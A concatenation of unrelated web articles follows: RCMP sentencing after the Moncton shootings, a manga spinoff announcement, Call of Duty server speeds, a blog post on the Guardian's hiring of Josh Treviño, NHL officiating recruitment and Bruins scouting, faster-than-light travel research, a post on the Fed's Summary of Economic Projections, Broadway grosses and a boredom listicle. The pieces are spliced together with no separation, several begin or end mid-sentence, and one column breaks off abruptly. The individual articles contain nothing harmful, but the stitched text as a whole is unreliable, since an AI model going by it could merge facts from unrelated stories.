Bourque was armed with an M305.308 semi-automatic rifle and a Mossberg 500 12-gauge shotgun. The responding officers, who were all shot within 20 minutes, were equipped only with pistols, which have inferior range, power and accuracy, the trial heard.
Carbines would have been "a game changer," said Adams. The lack of vigilance with respect to officer safety is a serious aggravating factor, he argued.
From left, Const. Douglas James Larche, 40, from Saint John, N.B., Const. Dave Joseph Ross, 32, from Victoriaville, Que., and Const. Fabrice Georges Gevaudan, 45, from Boulogne-Billancourt, France, were killed in Moncton, N.B. on June 4, 2014. (RCMP) Adams recommended the $1 million penalty be broken down into a $100,000 fine, $500,000 in University of Moncton scholarships based on academic merit and community service in the names of the fallen officers and $200,000 for the association Threads of Life, which provides support in cases of workplace injury.
The remainder should include a $150,000 educational trust fund for children of deceased officers, which has already been set up, and a $50,000 donation to Valour Place Military Family Support House in Edmonton, which offers help to RCMP officers, Adams said.
Historic case
The case is considered historic — it was the first time the national police force was sent to trial under the Canada Labour Code for failing to ensure the health and safety of its members.
The force was found not guilty on two other charges regarding whether it prepared supervisors to deal with active shooting situations, and trained front-line members to respond to these kinds of calls.
The judge stayed a fourth charge related to ensuring the health and safety of its members, because he said the first charge encompassed that issue.
The maximum penalty on the guilty charge is $1 million or two years in prison. No individual RCMP manager was named in the charges, however.
Officers who responded to the initial call were defending themselves with duty pistols. (Marc Grandmaison/Canadian Press)
In his Sept. 29 decision, Jackson said the RCMP's approach to the roll-out of carbines was "focused on the odds of an event such as the Moncton murders ever happening, rather than on their duty to ensure the health and safety of its members."
Jackson also said senior managers "paid lip service" to the idea of safety when they came to testify, but he felt they were repeating "talking points" and their "inactions" spoke louder.
The trial spanned from April to July, and heard from 30 witnesses, many of whom said carbines could have made a difference for the officers who faced Bourque.
The defence said money and red tape were important limitations the force was facing in acquiring carbines sooner.
Lawyers haven't said whether they plan to appeal Jackson's decision.
Bourque is serving five life sentences with no chance of parole for 75 years after pleading guilty to three counts of first-degree murder and two counts of attempted murder.The December issue of Kodansha's Aria magazine announced on Wednesday that it will publiish the first chapter of Chiemi Sakamoto's Nanatsu No Taizai Production (The Seven Deadly Sins Production) comedy spinoff manga in the January issue on November 28. The manga is a spinoff of Nakaba Suzuki's The Seven Deadly Sins ( Nanatsu no Taizai ) manga.
The manga imagines what would happen if the setting of The Seven Deadly Sins was instead of a live-action TV drama production. In the manga, Meliodas is an actor who plays the role of a child genius. The manga will show the bad habits of the actors during filming and their everyday lives.
Another comedy spinoff manga of The Seven Deadly Sins titled Mayoe! Nanatsu no Taizai Gakuen (The Seven Deadly Sins Academy) launched in Kodansha's Bessatsu Shōnen Magazine in August 2014. Jūichi Tamaki is drawing the manga, and Kodansha published the manga's second compiled book volume on August 12.
Suzuki drew two spinoff manga for The Seven Deadly Sins in February. The first spinoff manga, titled Naku na, Tomo yo (Don't Cry, My Friend), is about Hendrickson and Dreyfus' younger years. The second spinoff manga, titled Gilthunder no Shinjitsu (Gilthunder's Truth), is set after the Byzel Fight Festival arc, with Gilthunder as the protagonist.
Kodansha Comics is publishing The Seven Deadly Sins manga in North America, and describes the story:
"When they were accused of trying to overthrow the monarchy, the feared warriors The Seven Deadly Sins were sent into exile. Princess Elizabeth discovers the truth - the Sins were framed by the king's guard, the Holy Knights - too late to prevent them from assassinating her father and seizing the throne! Now the princess is on the run, seeking the Sins to help her reclaim the kingdom. But the first Sin she meets, Meliodas, is a little innkeeper with a talking pig. He doesn't even have a real sword! Have the legends of the Sins' strength been exaggerated?"
Suzuki launched The Seven Deadly Sins in Kodansha's Weekly Shonen Magazine in 2012. Kodansha published the manga's 17th compiled book volume on October 16. Kodansha Comics published the manga's 10th volume in English on September 8. Crunchyroll is also offering new chapters of the manga as they are published in Japan.
The manga inspired a 24-episode television anime series that premiered in October 2014. The manga will have a new TV anime in 2016, with the staff from the first anime returning.
Source: Comic NatalieCOD Modern Warfare Remastered: Gameplay Suffers Because Of Slow Servers?
Close
COD Modern Warfare Remastered players are complaining about the instant death they suffer during the multiplayer modes. Some of them believed the slow servers are the culprit.
COD Modern Warfare Remastered Server Speed
Surprisingly, the COD Modern Warfare Remastered servers are actually running at 10Hz. This was the information shared by a Reddit user IAmNotOnRedditAtWork. If this is true, then MWR servers are one of the slowest compared to other online games. Based on the same information, even CoD4 servers are running at twice the speed of MWR servers. Titanfall 2 online servers on the other hand are running at 20Hz while Overwatch servers are running at 45 to 60Hz.
Effect of Slow MWR Servers
The COD Modern Warfare Remastered servers' slow response rate can have a fatal consequence for players. The Reddit user illustrated and virtually solved the reason behind the instant deaths in MWR. The 10Hz speed means that the server will update the player's machine (also known as client) ten times per second. If opposing players are firing in excess of ten bullets a second, one of the updates will contain the excess.
For example if 11 bullets were released, the first nine update will contained a bullet each. The last update unfortunately will contain bullets 10 and 11. If the combined bullets can deliver more than 100 percent damage, your character dies "instantly". It also does not matter if the character has a full health bar.
Activision Response to Slow Server Issue
Unfortunately, neither Activision nor Infinity Ward has step up to address the issue. For now, avid players will have to contend with the slow COD Modern Warfare Remastered servers. Some players though, fear that the Supply Drop DLC may worsen the slow server problem. If it does, Activision will have no choice but to increase the server speed or risk losing its player base.
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© 2019 ITECHPOST, All rights reserved. Do not reproduce without permission.Earlier today, Al Jazeera published my article “What’s gone wrong at the Guardian” about the newspaper’s decision to hire Joshua Treviño, a right-wing ideologue who openly called for Israel to murder unarmed civilians and journalists attempting to sail to Gaza in June 2011 and gloated at the killing of civilians aboard the Mavi Marmara a year earlier.
A few hours after my article appeared, I received a surprising email from the Guardian’s press office:
Josh Trevino is not a correspondent for the Guardian. He is a freelance writer on contract to write opinion pieces. His articles will appear on the Guardian’s Comment is Free section of the site (http://www.guardian.co.uk/commentisfree/us-edition) along with articles from many other freelance writers. Thank you in advance for making this correction.
Did I make a mistake in referring to Treviño as a “correspondent” in my Al Jazeera article, and in my original blog post of 15 August, the day his appointment was announced?
If you look at the Guardian’s 15 August press release as it appears now it begins:
Today the Guardian announced the addition of Josh Treviño to its commentary team in the United States. Formerly of the Texas Public Policy Foundation, Treviño will be the newest commentator for the Guardian’s growing US politics team through his column On Politics & Persuasion which launches on Monday 20 August.
But that is not what it said on 15 August, when I quoted it. Here is how it began then (emphasis added):
Today the Guardian announced the addition of Josh Treviño to their editorial team. Formerly of the Texas Public Policy Foundation, Treviño will be the newest Correspondent for the Guardian’s growing US politics team through his column “On Politics & Persuasion” which launches on Monday, August 20.
Note the disappearance of the terms “editorial team” and “correspondent.” The Guardian also changed the headline from “The Guardian adds Josh Treviño to growing editorial team” to “The Guardian adds Josh Treviño to growing US team.”
The changes are quite clear from this screen capture of a Google search.
It’s really quite astonishing that the Guardian would ask me to make a correction and think it could get away with such a shoddy attempt to cover its tracks.
Embarrassed but unwilling to come clean
Here’s what I think is going on: the Guardian is embarrassed at having hired Treviño after the revelations about his incitement to murder, as well as possible undisclosed conflicts of interest. But instead of taking responsibility for the debacle, editors are trying to distance themselves from him by subterfuge.
It’s very clear that Treviño has been demoted. The Guardian uses dozens, possibly hundreds of freelancers; I’ve even been paid for a couple of articles. It never issued a press release announcing the fact.
Moreover, the original release and the doctored one say:
Bookings:
For future bookings with Treviño, please contact Jennifer Lindenauer
It’s unheard of – as far as I know – for a newspaper to handle media bookings or speaking arrangements for a mere freelancer. This is surely a service only provided to people viewed as integral and prominent parts of the editorial team.
Frankly, I thought that my piece on Al Jazeera would encourage someone at the Guardian – a newspaper I’ve read since childhood and was thrilled to write for – to end this embarrassing deception. So far editor-in-chief Alan Rusbridger and US editor-in-chief Janine Gibson have failed to do so.
Instead they are simply digging deeper. The Guardian may consider this post the correction they requested.
Update 19 August 2012
New revelations of Joshua Treviño’s bigotry and lies, as Guardian insists he hasn’t been “demoted.”
Image of Google search
Screen shot of Google search results for “Today the Guardian announced the addition of Josh Treviño to their editorial team.” View full size
MoreThe NHL is doing its best to find new officials, trying to expose current players from the midget level to college and juniors to the possibility.
When you’re in charge of NHL officials and officiating, it would seem that a sense of humor is a job requirement. So really, it’s not all that surprising when, while starting to talk about the NHL’s recruitment of officials, Stephen Walkom goes for the punch line.
“Well, we go to the prisons and we say, ‘Hey, who’s getting out... ’ ” Walkom began.
Not quite. But the NHL is doing its best to find new officials, trying to expose current players from the midget level to college and juniors to the possibilities that come with donning the stripes. Although Walkom had made inroads in his first tenure as head of officiating from 2005-09, the program he began last year — the NHL Exposure Combine (and NHL Amateur Exposure Combine) — goes further. It starts by asking, what’s next?
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“This time around we built a website, we did a video,” said Walkom, the NHL’s senior vice president and director of officiating. “We made it exciting. It’s like a recruitment video. I mean, it’s not the army, but we wanted to make officiating [enticing]. We know the guys that would be good at it. We just needed to get them to try it.”
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The videos are slickly produced, featuring luminaries such as Brendan Shanahan, Ed Olczyk, and Mike Cammalleri urging the idea on the target audience — players who are aging out of hockey, players without the skills to play at a higher level but who retain a love for the game.
Trying out officiating, the video suggests, would allow those players to use their knowledge and passion for the game when they would otherwise be shedding their skates and finding jobs in the real world.
“We need the athletes,” Walkom said. “We need the guys that are great skaters. And we need people that want to serve the game before they get out of shape. Every league needs people like that. So instead of sitting back and hoping that it happens, we’re making sure that it does happen.”
This year’s four-day combine, the second of its kind, kicked off on Thursday at Buffalo’s HarborCenter and ends on Sunday. As part of an every-other-year plan, this year the combine’s focus is on midget players, getting the idea of officiating into the heads of players between 15 and 18 years old, players who might never have even considered the possibility. Next year, the combine will return in its other form, focusing on Division 1, Division 3, CHL, and CIS players.
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There had been a system for development of officials in place, Walkom said, but not a permanent one. So he set out to build that.
“What we’ve found is that most of [the best officials] grew up with a passion to play the game and they were athletic, they played other sports, and they’re great skaters and they fell into officiating,” Walkom said. “Did they grow up wanting to officiate? No. They probably grew up thinking, like any good hockey player or coach would, that the officials get in the way of winning.”
So they set out to change minds. The NHL now brings college players in, first putting them through background checks and determining if they’re the right sort of people to mediate on the ice, and allows them to interact with the league’s top official prospects. They test them on the ice. They put them in classrooms. They have them play games, and have them officiate those games.
“Introduce them to it, so that before they get out of shape, before they hit the beer league, they realize that there’s a real need for guys like them,” Walkom said.
Even if it’s years down the road.
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Walkom is looking long term with this plan. He knows those 15-year-olds at the HarborCenter might have 3-7 years of hockey left. They might become pros. They might not. They might finish college and wonder about their next move. He hopes they think of him. Or at least the job opportunities he is offering.
Walkom wants to see them come to the combine as a midget, then as a college player, then as a prospect, then as a minor league official. He wants to see his recruits climb the ladder.
It was back in his officiating days, working nearly 965 regular-season games and 139 playoff games, that he first started honing his pitch.
“When I was on the ice all the time, I’d always kid around with the players, ‘Hey, you know when you’re done you can always put on the band and get out here and blow the whistle,’ ” Walkom recalled. “And they’d be always like, ‘I’d never want to do that, Walks.’
“Not too many people out there have ever officiated. So when you’ve never done it, it’s hard to really appreciate what the guys on the ice make look easy. And so I’m hoping we can mold some young midget hockey players into at least considering officiating when they’re done playing. If we can get some of these college and university and junior kids to get into the mix, it can only help improve officiating everywhere.”
TRANSITION GAME
Axelsson settles into scouting role
File/Getty Images The Bruins brought P.J. Axelsson in for their development camp in July, using him as an on-ice instructor.
P.J. Axelsson was not out of work for long. It was just a couple of months after the Swedish forward stepped off the ice in the spring of 2013 that he found himself back in hockey rinks across Europe, trading in his playing days for scouting.
In those two years as a European scout for the Bruins — the team for which he played all of his 11 NHL seasons — Axelsson learned quite a bit, from how to evaluate the talent that might eventually play in Boston to how to book hotels and flights. There used to be someone doing the latter for him.
“That was hard in the beginning,” Axelsson said. “I’m not a computer guy, I can tell you that much. But I had to learn.”
Axelsson has also learned how to be a more effective scout.
“I’m a little bit more relaxed, I think,” he said. “In the beginning, any time anything new comes up, you want to do it right away. Now you can kind of sit back a little bit, think about it a little more.”
He also has a better understanding of what to look for in potential Bruins. As he put it, “their hockey sense, how they move on the ice, why and when they move. It’s a learning thing and I’m still learning.” He sees about 170 games a year, usually at least three to five a week, honing his eye for talent.
The Bruins brought Axelsson in for their development camp in July, using him as an on-ice instructor. He was able to see the fruits of his labor with some of the players he had scouted in Europe, and others he had only heard about before.
He even got a chance to be on the coaching staff of one of the teams in the camp’s final-day scrimmage. “I lost as a coach, so I’m probably done there,” he said.
Axelsson, who also has dabbled in TV work, is content to work at improving as a scout. He appreciates the Bruins’ approach to evaluating players, the communication that he has had with other scouts, and with assistant general manager Scott Bradley, director of amateur scouting Keith Gretzky, and ex-teammate and now-Bruins general manager Don Sweeney.
“P.J.’s got a passion for the game,” Sweeney said. “He’s a great communicator with everybody, was really good even speaking with Joonas [Kemppainen] when he was over there, all of our European [draft picks]. He wears a kind of dual hat with being an amateur scout but also being a bit of a development person as well for us in Europe.
“Obviously I know him very well personally, so we have a good relationship for him to tell me one thing if I’m leaning in one direction and he can direct it back in the other. He’s just really good and he’s passionate about it.”
Though he has yet to see many of his charges make it to the NHL — it’s too early for most of them — there is one who Axelsson watched reach his goal in the last year: DavidPastrnak.
With Pastrnak playing in Sweden, Axelsson saw him a lot before he was drafted by the Bruins, along with the rest of the team’s scouting staff and front office. He had seen impressive things from Pastrnak. “He’s a really good skater with good hands. I like his skill set. And his drive. He wants to be a hockey player. That’s important,” said Axelsson.
Still, Axelsson didn’t foresee Pastrnak’s success as an 18-year-old rookie in the NHL. “I was a little surprised,” he said. “It’s not easy to come in and play in the NHL at that age, that’s for sure. He did a really good job preparing himself for it.”
Pastrnak’s rapid rise won’t be the last surprise that Axelsson encounters in his current role with the Bruins. He has settled in, has learned when it’s appropriate to drive his car through the night to scout a player, and when it’s appropriate to spend that night at a hotel instead. He has learned to book flights and evaluate talent. And he’s enjoyed all of it.
“I’ve had a lot of fun,” Axelsson said. “I haven’t missed the game that much because I went right back into the game. I didn’t miss playing. That really helped. That’s probably the main thing. But I mean, just being around the rink, that’s been my whole life. That’s where I want to be.”
LEARNING CURVE
Kemppainen gets early education
Although JoonasKemppainen wasn’t able to take the ice during the Bruins’ development camp in July, it wasn’t a lost week for the Finnish veteran. He got to meet potential teammates, coaches, and those in the front office who enabled him to come from Finland to the NHL. One of Kemppainen’s goals for the week was to “make a good first impression.”
This is not the first go-around for the Bruins in bringing over mid-career veterans from Europe and integrating them into their team and locker room. They did the same with Carl Soderberg, who came to the NHL toward the end of the 2012-13 season, playing in six regular-season games and two in the playoffs. He was 27 years old then, the same age as Kemppainen now. General manager Don Sweeney said the team learned “in little ways” from the Soderberg experience, ways that they’re now putting into place with Kemppainen.
Armando Babani/EPA Most of who and what Joonas Kemppainen is has already been determined.
“Because Carl came over, wasn’t sight unseen in terms of where his conditioning level was,” Sweeney said. “So I think it’s another tool, analytic tool, in the person himself. We know his game, but the person himself, how he’s going to take his own personality and now put it into a completely unfamiliar situation.”
Easing the transition is even more important for a mid-career veteran, as opposed to a 20-year-old still on his way up. Most of who |
flight."
Warp speed: a primer
Before delving into Davis' study, here's a quick review of faster-than-light space travel:
According to Einstein's theory of special relativity, an object with mass cannot go as fast or faster than the speed of light. However, some scientists believe that a loophole in this theory will someday allow humans to travel light-years in a matter of days.
In current FTL theories, it's not the ship that's moving — space itself moves. It's established that space is flexible; in fact, space has been steadily expanding since the Big Bang.
By distorting the space around the ship instead of accelerating the ship itself, these theoretical warp drives would never break Einstein's special relativity rules. The ship itself is never going faster than light with respect to the space immediately around it.
Davis's paper examines the two principle theories for how to achieve faster-than-light travel: warp drives and wormholes.
The difference between the two is the way in which space is manipulated. With a warp drive, space in front of the vessel is contracted while space behind it is expanded, creating a sort of wave that brings the vessel to its destination.
With a wormhole, the ship (or perhaps an exterior mechanism) would create a tunnel through spacetime, with a targeted entrance and exit. The ship would enter the wormhole at sublight speeds and reappear in a different location many light-years away.
In his paper, Davis describes a wormhole entrance as "a sphere that contained the mirror image of a whole other universe or remote region within our universe, incredibly shrunken and distorted."
Sci-fi fans, for warp drives, think "Star Trek" and "Futurama." For wormholes, think "Stargate."
[See also: Warp Drive and Transporters: How 'Star Trek' Technology Works (infographic)]
Mirror, mirror on the hull
The next question is: how to create these spacetime distortions that will allow vessels to travel faster than light? It's believed — and certain preliminary experiments seem to confirm — that producing targeted amounts of what's called "negative energy" would achieve the desired effect.
Negative energy has been produced in a lab via what's called the Casimir effect. This phenomenon revolves around the idea that vacuum, contrary to its portrayal in classical physics, isn't empty. According to quantum theory, vacuum is full of electromagnetic fluctuations. Distorting these fluctuations can create negative energy.
According to Davis, one of the most promising methods for creating negative energy is called the Ford-Svaiter mirror. This is a theoretical device that would focus all the quantum vacuum fluctuations onto the mirror's focal line.
"When those fluctuations are confined there, they have a negative energy," said Davis. "You could have types of negative energy that could make a wormhole that you could put a person through and, if you make a bigger mirror, put a starship through. The [mirror] is scalable … that's the beauty of it."
Davis described a theoretical configuration of Ford-Svaiter mirrors that could enable FTL spaceflight: "For a traversable wormhole, it'll have to be separate Ford-Svaiter mirrors [arranged] in an array to create the wormhole and then a ship with mirrors attached to it to extend the wormhole to the destination star."
The concern there is how to target the wormhole's exit.
"We don't know the answer to that question yet," said Davis. "Einstein's theory of general relativity doesn't answer it."
That's the difference between the fields of physics and engineering, Davis explained. According to our current understanding of physics, targeting the wormhole's exit is possible, but engineers have yet to figure out how to achieve it. [See also: NASA Turns to 3D Printing for Self-Building Spacecraft]
"On screen, Number One."
Another issue addressed in Davis' paper is how to navigate an FTL starship.
"If you're in a wormhole, you don't go faster than light — you're going at normal speeds, but your visualization and stellar navigations are all gone [because] … there are no stars to navigate by."
The iconic image of stars streaking by a spaceship viewscreen popularized by franchises like "Star Trek" and "Star Wars" simply isn't accurate, said Davis. "The light that goes through the wormhole gets distorted … you're going to have a very weird visual display."
This is because the negative energy necessary to create a wormhole or warp drive creates a repulsive gravity that distorts light around the ship.
So ships moving at faster-than-light speeds will not be able to observe their surroundings to calculate their location. Astronauts will have to rely on sophisticated computer programs to calculate their probable location. "You'll need something on the order of a supercomputer equipped with parallel processing," said Davis. "[The computer is] going to have to do all the figuring out … [using] input data from the last position and estimating."
This is more of a concern with warp drives, which are actively reshaping space as they travel, but not as much with traversable wormholes, whose entrances and exits will probably be preset before flight. "You can only go one way through the wormhole, so it's not like you're going to get lost," said Davis
It's also important for the computer to be able to produce some kind of visual representation of its flight plan and spatial location. These images would then be rendered and displayed in the starship's cockpit or bridge for the crew to see and study. "It'll help the human psychological need for understanding, in real time, what the position changes of the stars are going to look like," said Davis.
Where no one has gone before
At the heart of Davis' paper is the principle — supported by rigorous scientific theory — that faster-than-light travel is a real and even tangible possibility. The last section of the paper proposes nine "next steps" that would push the field toward engineering prototypes and other practical tests of faster-than-light theories.
These steps include creating computer simulations to model the structure and effects of space warps. Davis also calls for more rigorous exploration of the Ford-Svaiter mirror, which is still a largely theoretical device. The mirror is just one possible way to generate negative energy; further study is needed to determine whether there are any other practical methods of achieving the same effect. [See also: Hypersonic 'SpaceLiner' Aims to Fly Passengers in 2050]
Davis describes the development and implementation of space-warp travel as "technically daunting" in his paper, but in conversation, he said he has no doubt that faster-than-light travel will someday be not only possible, but necessary.
"The Earth is subjected to natural and outer space and ecological disasters, so life is too fragile, while the planets in the solar system are not very hospitable to human life. So we need to explore extrasolar planets for alternative homes," Davis said.
"This is all part of the growth and evolution of the human race."
Email [email protected] or follow her @JillScharr. Follow us @TechNewsDaily, on Facebook or on Google+.On Wednesday, November 30, I’ll be participating as a panelist in an event on Fed communications at the Hutchins Center on Fiscal and Monetary Policy at Brookings. My former Fed colleague Jon Faust will present a keynote paper, and Fed governor Jay Powell will speak as well. We will also hear about a survey of academic and market participant views of Fed communication, conducted by the Hutchins Center.
Faust’s paper and the Hutchins survey take a generally positive view of the subset of Fed communications that aim to reflect the collective view of the Federal Open Market Committee (FOMC), such as the post-meeting statement, the chair’s press conferences and testimonies, and the minutes. However, they are generally more critical of the “decentralized” communication of the views of individual FOMC participants, including speeches by governors and Reserve Bank presidents and the FOMC’s quarterly Summary of Economic Projections (SEP), which collects projections by individual participants of economic growth, unemployment, inflation, and interest rates. A common complaint is that the volume of such communication is “cacophonous.” Faust argues that, in addition, speeches by FOMC participants and the SEP are not particularly useful to analysts trying to divine how monetary policy will respond to economic developments (the FOMC’s “reaction function”).
I have some sympathy with the “cacophony” complaint. The FOMC is a large and diverse committee, and the incentives that individual governors and presidents have to speak publicly about monetary policy probably don’t add up to an optimal communication strategy for the committee as a whole. In particular, the tendency of individual FOMC participants to make public forecasts of what the committee as a whole is likely to do (as opposed to what they themselves see as the best policy approach) is not helpful. On the other hand, as I discuss here, policy communications by individual FOMC participants are not just about influencing market expectations—they serve a number of other important functions, including providing further explanation and discussion of the issues at stake in policy decisions, encouraging outsider input, and providing assurance to the public that diverse points of view are represented in the policy debate.
The individual views of FOMC participants are also reflected in the Summary of Economic Projections. I’ll argue in the remainder of this post that the SEP can be a useful tool for Fed-watchers, but only if they appreciate how it is constructed and what it does and does not represent.
What is the Summary of Economic Projections?
Four times each year, just prior to an FOMC meeting, the nineteen FOMC participants (seven Board governors when there are no vacancies, 12 Reserve Bank presidents) submit projections for four key economic variables—real output growth, the unemployment rate, overall inflation, and core inflation (excluding prices of food and energy)—and for short-term interest rates.[1] Projections cover the current year and up to three additional years (so, for example, the projections made in September 2016 are for full year 2016 as well as for 2017, 2018, and 2019). Projections are also made for the “long run” values of the variables—the values to which the variables would be expected to converge over time if, hypothetically, there were no new shocks to the economy. Importantly, projections are conditioned on each participant’s individual view of what would be “appropriate” monetary policy, defined as the policy that the individual believes would be most likely to help achieve the Fed’s inflation and employment objectives. So, when projecting the behavior of (say) inflation, a hawkish member of the committee might be assuming a very different future path of interest rates than a dovish member.
The Fed publishes summaries of the projections, without attribution to individual participants. All the interest-rate projections for current and future years are shown in a figure, known to Fed-watchers as the “dot plot.”
The SEP is released shortly after the conclusion of the meeting, and then discussed by the chair in the press conference. (Indeed, the original rationale for holding chair press conferences quarterly was to coordinate with the release of the SEP.) The minutes of the meeting, released three weeks later, contain additional information, including more details on the projections and participants’ risk assessments, and a summary of qualitative comments submitted by participants along with their numerical projections.
The Fed has compiled policymakers’ economic projections for some time. For example, when I joined the Committee as a governor in 2002, the Board’s semi-annual Monetary Policy Report already included FOMC projections of nominal GDP growth, real GDP growth, inflation, and unemployment for the current and subsequent year. Since then, however, as part of the committee’s efforts to increase policy transparency, the projections were made quarterly and expanded both to cover more years (and the “long run”) and to include projections of policy interest rates as well as macro variables.
What the SEP is not
To make use of the SEP, Fed-watchers must appreciate what the SEP is not:
1. The SEP is not a policy commitment by the FOMC
The projections reported in the SEP, including of course the interest-rate projections, are submitted by individual FOMC participants in a decentralized way. The projections do not necessarily reflect the FOMC consensus and they certainly do not bind future FOMC actions. If the FOMC as a whole is going to make a commitment or provide explicit guidance about future rate policy, it will do that in its post-meeting statement, or the chair will communicate it.
2. The SEP is not an unconditional economic forecast
An economist making a forecast will put down what he thinks is likely to happen, taking as given his best guesses about policy and other factors. That’s not what an FOMC participant is doing when she submits a projection. Remember that projections are supposed to be based on individual views of “appropriate monetary policy.” Consider, for example, a hawk who believes that the policy supported by the FOMC consensus is too dovish. Her forecast of what will actually happen would be that interest rates will remain low and that inflation will as a consequence exceed the Fed’s target. However, her projections for the SEP will instead reflect what she would do, counterfactually, if she were in charge—higher rates than she expects to see, and inflation closer to target. (Of course, the views of individual participants do carry some information about what the FOMC is likely to do, as I elaborate below.)
3. The SEP does not capture statistical uncertainty or the range of possible outcomes
SEP projections are explicitly of the “most likely” or modal outcomes rather than the range of possible scenarios. One implication: In recent years, the FOMC has indicated that it sees “downside risks” to its outlook for jobs and inflation, meaning that scenarios in which interest rates remain lower than in its central projection have been seen as more likely than higher rate scenarios. Taking into account the full range of possible outcomes, when downside risks dominate, the average, or mean, future path of interest rates is lower than the modal, or most likely path. Since bond traders care more about the mean path, which reflects the full range of possible outcomes, the mode-mean distinction can partly explain why SEP projections of future interest rates have been higher in recent years than market-implied rates.[2] More generally, we know that the statistical uncertainty associated with any macroeconomic projection is very high; SEP projections are no exception and should accordingly be treated with great caution.
What the SEP is good for
So what information does the SEP provide? I’d point to three areas:
1. The SEP is a straw vote
The FOMC is not a simple democracy but a consensus-driven organization, with the agenda set by the chair. Only twelve of nineteen participants have a vote at each meeting. Consequently, it is not straightforward to infer FOMC policy by looking at the median SEP projection of rates or other variables, without benefit of other information. Still, in conjunction with speeches and other public comments, the SEP does provide timely quantitative information about the range of views on the committee and how the thinking of participants is evolving. I think of the SEP as a straw vote, a reflection of the range of sentiment going into the full committee debate.
Does the SEP straw vote predict actual FOMC decisions? Interest-rate projections in particular are still a relatively recent innovation, so the data seem insufficient at this point to give a clear answer to that question. The SEP released after the September FOMC meeting showed a strong majority of committee participants (all but three) expecting another rate increase this year, and an increase does seem likely for December. On the other hand, recently, SEP rate projections over longer horizons have been too optimistic about the ability of the economy to sustain rate increases (for example, as of a year ago many participants saw four rate increases in 2016). As discussed further below, however, I believe that discrepancy is explained by systematic changes in participants’ outlooks in light of new economic information, not by the failure of the SEP to capture the range of views at a particular moment in time.
2. The SEP provides information about key long-run parameters
The FOMC introduced its formal inflation target only in 2012, but for several years before that it effectively communicated its inflation target through the SEP. With virtually all participants projecting 2 percent inflation in the long run, under the assumption of appropriate monetary policy, it was clear that the committee had agreed on where it wanted to steer inflation over time. As I discussed here, other key long-run parameters about which the SEP is informative include the so-called natural rate of unemployment (the rate of unemployment consistent with stable inflation); the potential output growth rate; and the “neutral” or equilibrium value of the federal funds rate, which correspond to the long-run projections of unemployment, output growth, and the funds rate, respectively. In the absence of official FOMC estimates of these critical variables, the SEP provides the best available information on participants’ views.
3. The SEP provides indirect information about the FOMC reaction’s function
As Jon Faust argues in his paper for the Hutchins Center conference, the individual participant views captured by the SEP do not aggregate in a straightforward way to FOMC decisions. Still, in contrast to Jon, I think that—properly interpreted—the SEP provides useful quantitative information about the FOMC’s reaction function, and, in particular, why the projections of future interest rates change over time. For example, as I argued here, the downward shift of the FOMC’s projected rate path over the past couple of years, rather than being arbitrary or the product of temporary market pressures, can largely be explained by participants’ changing views of key economic parameters, notably the equilibrium federal funds rate and the natural rate of unemployment, as revealed by the SEP. A recent piece from the San Francisco Fed shows that shifts in the outlook and in estimates of key parameters reflected in the SEP fully explain the revision in median interest rate projections between December 2015 and September 2016.
Wouldn’t it be easier if the FOMC just provided its reaction function, together with collective projections of key macro variables? In principle, yes; and in fact, in the course of expanding the SEP, the FOMC under my chairmanship experimented with developing a consensus committee forecast, together with alternative scenarios, that could be released to the public. However, given the large size of the committee and the disparate views represented, we were unable to agree on a procedure for developing such a forecast in a timely way. In short, the committee faced the same problems in aggregating the wide range of participants’ views that outside analysts confront when interpreting the SEP.
Conclusion
The Summary of Economic Projections remains a controversial part of the Fed’s communications toolkit, and it has sometimes confused more than enlightened. The FOMC should continue to look for improvements, ranging from the marginal (a better accounting for uncertainty and alternative scenarios, for example) to the more fundamental (a possible revisiting of the idea of developing a collective committee forecast). That said, in its current form the SEP does provide useful information about the views of FOMC participants and the factors that condition their policy preferences.
[1] Some of the gap may also be explained by the low, possibly negative risk premiums in bond markets, which depress longer-term interest rates relative to expectations of how short-term interest rates are likely to evolve in the future.
[2] Currently, with two Board seats vacant, there are only seventeen FOMC participants. Projections are submitted after participants see the staff economic forecast, which tends to be influential. Otherwise, however, there is no or very little coordination among participants in their submissions. In principle, participants can revise their projection any time up until the end of the FOMC meeting, but revisions are rarely made.
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Also, you will find information on each show's historical grosses, cumulative grosses and other statistics on how each show stacked up this week and in the past.
Click Here to Visit the Broadway Grosses...
Up for the week by attendance was: CATS (10.5%), WICKED (2.4%), MISS SAIGON (1.8%), CHARLIE AND THE CHOCOLATE FACTORY (0.4%), ANASTASIA (0.2%), DEAR EVAN HANSEN (0.1%),
Down for the week by attendance was: SCHOOL OF ROCK (-21.1%), THE PLAY THAT GOES WRONG (-13.9%), GROUNDHOG DAY (-12.4%), WAR PAINT (-12.1%), HELLO, DOLLY! (-10.9%), A DOLL'S HOUSE, PART 2 (-9.0%), THE TERMS OF MY SURRENDER (-7.9%), A BRONX TALE THE MUSICAL (-5.5%), CHICAGO (-5.0%), BANDSTAND (-4.3%), WAITRESS (-3.6%), 1984 (-3.0%), PRINCE OF BROADWAY (-2.8%), THE PHANTOM OF THE OPERA (-1.6%), ALADDIN (-1.6%), BEAUTIFUL (-1.1%), THE BOOK OF MORMON (-1.0%), KINKY BOOTS (-0.5%), THE LION KING (-0.3%), COME FROM AWAY (-0.1%),
Click Here to Visit the BroadwayWorld Grosses...
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More Hot Stories For You“Only those who want everything done for them are bored.”
– Billy Graham
Are you bored? What’s the matter? No sex, drugs or rock n roll? Do you feel like the world owes you something? No, we’re not just here for your entertainment. Sometimes you have to take matters into your own hands and entertain yourself. Better yet, why not go out of your way to entertain someone else. Become interested in the world around you. See beyond the surface level mundane reality, and you will never be bored. Are you really bored, or do you have too much free time or not enough appreciation?
Here are 11 suggestions of ways to cure boredom:
Meditation
There’s nothing like some meditation to make you feel your connection to the earth, the moment, and your true self. If you’re bored, perhaps it’s because you’re not really in touch with who you are or what you want. Cleaning
If you’re bored from lack of anything to do then there’s no more excuse. You have the free time required to get some long procrastinated chores out of the way. You might even consider helping others. Artwork
Creating art is a great way to forget about the troubles of the day or give them an outlet of expression. If you’re bored, creating art may help to get you back in the mindset of contributing to the world around you instead of feeling entitled to entertainment. Cooking
Everyone has to eat. If you have time to be bored then you have time to make something healthful. Eating foods full of life force energy leads to a healthier mind and body resulting in more inspiration and happiness. If you eat junk food then you will most likely have less energy and concede to boredom. Walking
Get out and breathe some fresh air, and get some exercise. The better you feel, the less bored you’ll be, and walking boosts endorphins which will surely brighten your mood. Reading
Pick up a book and read. In this age of information we are flooded with videos, images, articles etc. Sometimes it’s best to just unplug from electronics and get back to the basics. Reading affirmations can also help to alleviate boredom. Writing
Grab a pen, and just start writing anything that’s on your mind. Start noticing the patterns, and you can rewrite your story to be however you want it to be. Visualization
